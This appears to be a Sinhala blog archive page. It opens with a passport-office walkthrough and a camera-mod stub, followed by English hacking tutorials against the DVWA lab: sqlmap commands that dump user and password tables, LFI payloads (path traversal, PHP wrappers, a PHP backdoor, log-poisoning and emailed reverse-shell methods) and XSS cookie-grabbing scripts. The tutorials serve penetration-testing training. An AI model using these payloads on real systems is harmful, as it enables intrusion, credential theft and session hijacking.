September 2019
best sinhala blog in sri lanka
ඔන්න ඉතින් කොල්ල ගියාලු පාස්පෝර්ට් එක ගන්න ඉතින් කාට හරි වැදගත් වෙයි කියල මේකේ දානවා යන කෙනෙක්ට වටින්න

මුලින්ම කියන්න ඕනි මන් ගියේ බත්තරමුලේ පාස්පෝර්ට් ඔෆිස් එකට

මෙන්න මැප් එකේ තැන


යන්න කලින් ඔෆිස් එකෙන් සර්විස් ලෙටර් එකක් ගන්න
උප්පැන්නේ මුල් පිටපතක් සහ ජාතික හැඳුනුම්පත  තියෙන්න ඕනි

ඒ ටික සෙට් කරගෙන යන්න මෙතෙන්ට




bike එකේ වගේ යනවා නම් ලේසි ඒ ලගම තියනවා පාකින් , කාර් එකේ වගේ නම් කට්ටක් කන්න ඕනි තැනක් සෙට් කරගන


ගග ගාවම බයික් දාන්න තැනක් තියනව ඒකෙ දාන එක ලේසි , එතැනින්ම පොටෝත් ගන්න පුළුවන්

600ක් ගත්ත පොටෝ වලටයි පොටෝකොපි වලටයි ඔක්කොම පුරවාලම දුන්න


Download Link Form K 35A









මුලින්ම ප්‍රධාන ගේට්ටුවෙන් ඇතුල් වෙන්න






ඊටපස්සේ මේ බිල්ඩින් එකේ 2වෙනි තට්ටුවට යන්න ඕනි









මුලින්ම කරන්න ඕනි


මෙතනින් දකුණු පැත්තට ගිහින්


C වලින් අපේ උවමනාව කියල නම්බර් එකක් ගන්න එක ,




 ඊටපස්සේ අපේ application එක එතනම තියන  කවුන්ටර් එකට පෙන්නන්ලා D පැත්තට යන්න ඕනි


එතන යනකොටම තියන කවුන්ටර් එකට ඔය සෙට් එක දුන්නම කියනවා ඉදගන ඉන්න කියන මෙතනින් නම කතාකරන කල්




ඔය පේන Screen එකේ පොටෝ එකත් එක්කම වැටෙයි

ඊටපස්සේ නම කතා කරාම කවුන්ටර් එකට ගිහින් id එකයි අපේ application එකත් එක්ක අමුණලා දෙන සෙට් එකම දෙන්න පස්සේ id එක දෙයි පරිස්සමට පර්ස් එකට දාගන්න

දැන් තියෙන්නේ ඔතනම වම අත පැත්තේ හෝල් එකට ගිහින් ඇගිලි සලකුණු දෙන්න



ඕකෙන් ඇගිලි සලකුණු ටික ගනියි ඊටපස්සේ කරන්න තියෙන්නේ වම්පැත්තට යන්න මුදල් ගෙවන්න

15000ක් ඉල්ලනවා දුන්නම රිසිට් එක දෙනවා







ඒත් එක්කම ඔයාගේ පෝන් එකට sms එකක් එයි payment එක වැටුන කියල





දැන් වැඩේට ගොඩක් වෙලාවක් යනවා process වෙන්න ඉතින් ඔයාට පුළුවන් රවුමක් ගහල එන්න , නැත්තම් පවර් බෑන්ක් එකක් එහෙම අරන් ගියානම් ගේමක් හෝ ෆිල්ම් එකක් බලන්නත් පුළුවන් පැත්තකට වෙලා

එහෙම ඉන්නකොට process එකට බාරගත්තා කියල sms එකකුත් එනවා




පේනවනේ දැනටමත් පැය  3ක් විතර ගිහින් ඉවරයි හැබැයි 4.30ට කලින් ගිහින ගන්න ඕනි ඒ නිසා එකත් ඔලුවේ තියාගන්න පුළුවන් නම් ඒ msg එක ආවම යන්න බත්තරමුල්ලට ඉන්න තැනකින්

ඔහොම ඉද්දි ඔන්න එනවා හදල ඉවරයි කියල



හරි දැන් යන්න ඕනි පලවෙනි තට්ටුවට ඒ බිල්ඩිමේම




C පැත්තට තමා යන්න ඕනි



ඊටපස්සේ ඉදන් ඉන්න තමන්ගේ අංකෙ කියන්නේ කොයි වෙළෙද කියල

කවුන්ටර් නම්බර් එකයි ටිකට් නම්බර් එකයි කලින් සල්ලි ගෙව්වම හම්බෙන එකේ තියනව

ඊටපස්සේ ටික වෙලාවකට පස්සේ තමන්ගේ ටිකට් නම්බර් එක screen එකේ වැටෙයි ඊටපස්සේ එතනට ගිහින් කොලේ අත්සන් කරලා පාස්පෝර්ට් එකයි කලින් බාර දුන්න කොළ ටිකයි ගන්න තියෙන්නේ





ඔන්න ඔහොමයි දවසින් පාස්පෝර්ට් එක ගන්නේ

එහෙනම් මන් ගියා හැමෝටම ජයවේවා !


best sinhala blog in sri lanka
Hi all this is the gcam mod Pixel 4 Google Camera 7.0







no image
best sinhala blog in sri lanka

What is SQLMAP?

The sqlmap is an SQL injection tool developed in Python, your goal is to detect and exploit SQL injection vulnerabilities in applications or Web sites, as it detects one or more SQL injections on a target, the user can choose from a variety SQLMAP provides options to explore data stored within the database of this system or site, such as extracting the list of users, passwords, privileges, tables, and more.
Let's insert the get get into sqlmap and analyze the process. The variable to check is id. If the SQL injection vulnerability is found in this variable, sqlmap will be able to view the parameter the database uses to select data and also view databases.


sqlmap --cookie = "PHPSESSID = lrn5egdl79ee0hjqtn0g33p4v5; security = low" -u " http://192.168.189.246/DVWA/vulnerabilities/sqli_blind/?id=5&Submit=Submit " -p id


Let's add the --dbs parameter we can see the name of the database.

sqlmap --cookie = "PHPSESSID = lrn5egdl79ee0hjqtn0g33p4v5; security = low" -u " http://192.168.56.102/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit " -p id --dbs



Let's add the -D parameter by selecting the found base and then - tables we can see the tables.

sqlmap --cookie = "PHPSESSID = lrn5egdl79ee0hjqtn0g33p4v5; security = low" -u " http://192.168.56.102/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit " -p id -D dvwa --tables






Let's add the -T users - columns parameter to see each field in the user table.

sqlmap --cookie = "PHPSESSID = lrn5egdl79ee0hjqtn0g33p4v5; security = low" -u " http://192.168.56.102/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit " -p id -D dvwa -T users --columns





Let's add the parameter -C user, password - dump so we can give a full DUMP of the database. SQLMAP still gives you the option to create a file with dump hashes, yet use a dictionary-based attack to crack passwords.

sqlmap --cookie = "PHPSESSID = lrn5egdl79ee0hjqtn0g33p4v5; security = low" -u " http://192.168.56.102/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit " -p id -D dvwa -T users -C user , password --dump









best sinhala blog in sri lanka

What is a Local File Inclusion (LFI) vulnerability?

Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server.
The following is an example of PHP code vulnerable to local file inclusion.
<?php 
$file = $_GET[‘file’];
if(isset($file))
{
include(“pages/$file”);
}
else
{
include(“index.php”);
}
?>

Identifying LFI Vulnerabilities within Web Applications

LFI vulnerabilities are easy to identify and exploit. Any script that includes a file from a web server is a good candidate for further LFI testing, for example:
/script.php?page=index.html
A penetration tester would attempt to exploit this vulnerability by manipulating the file location parameter, such as:
/script.php?page=../../../../../../../../etc/passwd
The above is an effort to display the contents of the /etc/passwd file on a UNIX / Linux based system.
Below is an example of a successful exploitation of an LFI vulnerability on a web application:

PHP Wrappers

PHP has a number of wrappers that can often be abused to bypass various input filters.

PHP Expect Wrapper

PHP expect:// allows execution of system commands, unfortunately the expect PHP module is not enabled by default.
php?page=expect://ls
The payload is sent in a POST request to the server such as:
/fi/?page=php://input&cmd=ls
Example using php://input against DVWA:
Request:


POST request using php://input

Image description: POST request using php://input
Web Application Response:


The output from the command “ls” is rendered above the DVWA banner.

Image description: The output from the command “ls” is rendered above the DVWA banner.
PHP php://filter
php://filter allows a pen tester to include local files and base64 encodes the output. Therefore, any base64 output will need to be decoded to reveal the contents.
An example using DVWA:
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd


Image showing the base64 encoded text at the top of the rendered page

Image description: Image showing the base64 encoded text at the top of the rendered page
Base64 decoding the string provides the /etc/passwd file:


An image showing the base64 decoded output from /etc/passwd on a UNIX / Linux system

Image description: An image showing the base64 decoded output from /etc/passwd on a UNIX / Linux system
php://filter can also be used without base64 encoding the output using:
?page=php://filter/resource=/etc/passwd


An image showing the output from /etc/passwd on a UNIX / Linux system using php://filter

Image description: An image showing the output from /etc/passwd on a UNIX / Linux system using php://filter

PHP ZIP Wrapper LFI

The zip wrapper processes uploaded .zip files server side allowing a penetration tester to upload a zip file using a vulnerable file upload function and leverage he zip filter via an LFI to execute. A typical attack example would look like:
1. Create a PHP reverse shell
2. Compress to a .zip file
3. Upload the compressed shell payload to the server
4. Use the zip wrapper to extract the payload using: php?page=zip://path/to/file.zip%23shell
5. The above will extract the zip file to shell, if the server does not append .php rename it to shell.php instead
If the file upload function does not allow zip files to be uploaded, attempts can be made to bypass the file upload function (see: OWASP file upload testing document).

LFI via /proc/self/environ

If it’s possible to include /proc/self/environ via a local file inclusion vulnerability, then introducing source code via the User Agent header is a possible vector. Once code has been injected into the User Agent header a local file inclusion vulnerability can be leveraged to execute /proc/self/environ and reload the environment variables, executing your reverse shell.

Useful Shells

Useful tiny PHP back doors for the above techniques:
<? system(‘uname -a’);?>

Null Byte Technique

Null byte injection bypasses application filtering within web applications by adding URL encoded “Null bytes” such as . Typically, this bypasses basic web application blacklist filters by adding additional null characters that are then allowed or not processed by the backend web application.
Some practical examples of null byte injection for LFI:
vuln.php?page=/etc/passwd
vuln.php?page=/etc/passwd%2500

Truncation LFI Bypass

Truncation is another blacklist bypass technique. By injecting long parameter into the vulnerable file inclusion mechanism, the web application may “cut it off” (truncate) the input parameter, which may bypass the input filter.

Log File Contamination

Log file contamination is the process of injecting source code into log files on the target system. This is achieved by introducing source code via other exposed services on the target system which the target operating system / service will store in log files. For example, injecting PHP reverse shell code into a URL, causing syslog to create an entry in the apache access log for a 404 page not found entry. The apache log file would then be parsed using a previously discovered file inclusion vulnerability, executing the injected PHP reverse shell.
After introducing source code to the target systems log file(s) the next step is identifying the location of the log file. During the recon and discovery stage of penetration testing the web server and likely the target operating system would have been identified, a good starting point would be looking up the default log paths for the identified operating system and web server (if they are not already known by the consultant). FuzzDB’s Burp LFI payload lists can be used in conjunction with Burp intruder to quickly identify valid log file locations on the target system.
Some commonly exposed services on a Linux / UNIX systems are listed below:

Apache / Nginx

Inject code into the web server access or error logs using netcat, after successful injection parse the server log file location by exploiting the previously discovered LFI vulnerability. If the web server access / error logs are long, it may take some time execute your injected code.

Email a Reverse Shell

If the target machine relays mail either directly or via another machine on the network and stores mail for the user www-data (or the apache user) on the system then it’s possible to email a reverse shell to the target. If no MX records exist for the domain but SMTP is exposed it’s possible to connect to the target mail server and send mail to the www-data / apache user. Mail is sent to the user running apache such as www-data to ensure file system permissions will allow read access the file /var/spool/mail/www-data containing the injected PHP reverse shell code.
First enumerate the target system using a list of known UNIX / Linux account names:


The above image uses the smtp-user-enum script confirming the www-data user exists on the system

Image description: The above image uses the smtp-user-enum script confirming the www-data user exists on the system
The following screenshot shows the process of sending email via telnet to the www-data user:


The above image shows the process of sending a reverse PHP shell via SMTP using telnet

Image description: The above image shows the process of sending a reverse PHP shell via SMTP using telnet


The above image shows the inclusion of www-data mail spool file containing the emailed PHP reverse shell code

Image description: The above image shows the inclusion of www-data mail spool file containing the emailed PHP reverse shell code


The above image shows the emailed PHP reverse shell connecting to a netcat listener

Image description: The above image shows the emailed PHP reverse shell connecting to a netcat listener
best sinhala blog in sri lanka

XSS Payloads

XSS can deliver multiple types of payloads. Javascript is powerful and flexible and therefore is capable of delivering a wide range of malicious payloads. Some of the payloads include;

1. Pop up alerts
2. Hijacking session identifiers
3. Downloading and installing software
4. Redirecting to a different URL
5. Installing a keylogger
4. Invoking a reverse shell such as the Metasploit meterpreter
5. Launching client side attacks

Types of XSS

XSS is often divided into at least two types;

1. Reflective or Non Persistent
2. Persistent or Stored

Reflective XSS usually involves code that is "reflected" back to the web page and does not persist after one use. Persistent or Stored XSS, as the name implies, is stored within the application and can be run multiple times by multiple users.

In this tutorial, we will be using the DVWA to demonstrate these attacks and vulnerabilities.

Step #1 Connect to the DVWA

To start, boot up a system running DVWA. I'm using Metasploitable, but you can use any system with DVWA installed. Then, connect to the DVWA with your browser from your Kali system.

Step #2 Set Security to Low

In this tutorial, we will be using some simple XSS that is usually sanitized by modern secure web applications. For  demonstration purposes we are disabling that sanitizing process. For that reason, we need to set the security level on our DVWA to "low".



Step #3 Reflected XSS Attacks

To perform a Reflected XSS, the victim must perform some action such as clicking on a link, doing a search or some other functionality. The victim must also be logged into the application when they click on the link.




To start, navigate to the Reflected XSS page in DVWA as seen below.


Now, go ahead and enter your name. I entered my name in the form "Occupytheweb".



As you can see above, the application comes back and greets me "Hello Occupytheweb" after hitting Submit.

This time we will enter some script and see whether we can get the application to execute it. The script to enter is;

<script>alert("Hello Hackers-Arise ") </script)

A cursory examination of this script reveals that we are triggering an alert box and having the alert box say "Hello Hackers Arise"

So, instead of entering our name into the form, let's enter this script.

Now, hit Submit.



As you can see, the script was executed and an alert box was triggered with the message "Hello Hackers-Arise". Clearly, this application is vulnerable to a Reflected XSS attack!

Reflected XSS is a one-time attack. Whoever clicks on the link will have the script executed in their browser.

Step #4 URL Address Bar Attack

When we ran the Reflected XSS, you can see that the URL created by the attack changed. We could use this URL that was created to execute the attack.  The attacker could send this link to the victim to execute the attack. To demonstrate, simply copy and paste the URL and enter it into another tab in your browser.


As you can see, it works equally well to trigger the Reflected XSS attack.



Step #5 Attacking Session Cookies

Although generating a pop-up alert box is interesting and proves the concept, it really does not provide the attacker anything of value. What if we could have the alert box grab the session cookie of the victim? In this way, the attacker could then use the cookie to authenticate against the app as the legitimate user.

In this case, we will create a script that generates an alert, grabs the session cookie and displays it.

The following script should do just that.

<script>alert(document.cookie)</script>

As you can see, when we run this script, the application grabs and displays the users session ID that then could  be used to authenticate the attacker to the application!


Step #6  Persistent or Stored XSS Attacks

The persistent or stored XSS is very different from the Reflected XSS attack. Most importantly, the attacker does not need to social engineer the victim to click on a URL, but rather stores the malicious code into the application. In this way, every one who visits the malicious web page will fall victim to this attack.



Persistent XSS attacks are far more malicious and damaging than reflected attacks. They are capable of attacking numerous victims and implanting malware or other payloads into the target system.

Let's start by clicking on the DVWA Stored Cross Site Scripting app.


This app represents a "Guest Book" of a web app where each user can enter their name and comments.  Obviously, a Guest Book will store the information entered into a back-end database (MySQL in this case). If we can send a script to that back-end database, our script will be stored there and run time and time again as people visit and use the Guest book.

Let's begin by entering our name, OTW. Then let's enter a bit of Javascript.

<script>alert("Hackers-Arise is BEST")</script>

If this script runs, it will open an alert box stating the obvious "Hackers-Arise is BEST".

When we click "Sign Guestbook", an alert box opens stating what we all know to be true.

As the application stores this information into the back-end database, we may be able to get that script to run whenever anyone logs into the Guestbook.

Let's test that by entering as a different Guest and enter a different message. In this case, I will enter as "John Doe" and leave a message "I'm so happy to be here".


When John Doe clicks to "Sign  Guestbook" they get the same message that "Hackers-Arise is BEST". Our XSS has persisted in the database and every guest will now be greeted with our message!



Cross Site Scripting (XSS) is one of the most important and malicious vulnerabilities in web applications. These attacks are capable of injecting any number of malicious payloads into the victim's browser and ultimately into their computer system.